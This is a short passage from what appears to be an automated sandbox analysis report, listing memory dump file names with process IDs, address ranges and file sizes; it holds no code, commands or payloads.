memory/4284-163-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/4284-171-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB
-
memory/4632-141-0x0000000000000000-mapping.dmp
-
memory/4660-148-0x0000000000000000-mapping.dmp
-
memory/4756-155-0x0000000000000000-mapping.dmp
-
memory/4876-144-0x0000000000000000-mapping.dmp
-
memory/5080-134-0x0000000000000000-mapping.dmp
-
memory/5080-135-0x00000298449F0000-0x0000029844A12000-memory.dmpFilesize
136KB
-
memory/5080-136-0x00007FF883C40000-0x00007FF884701000-memory.dmpFilesize
10.8MB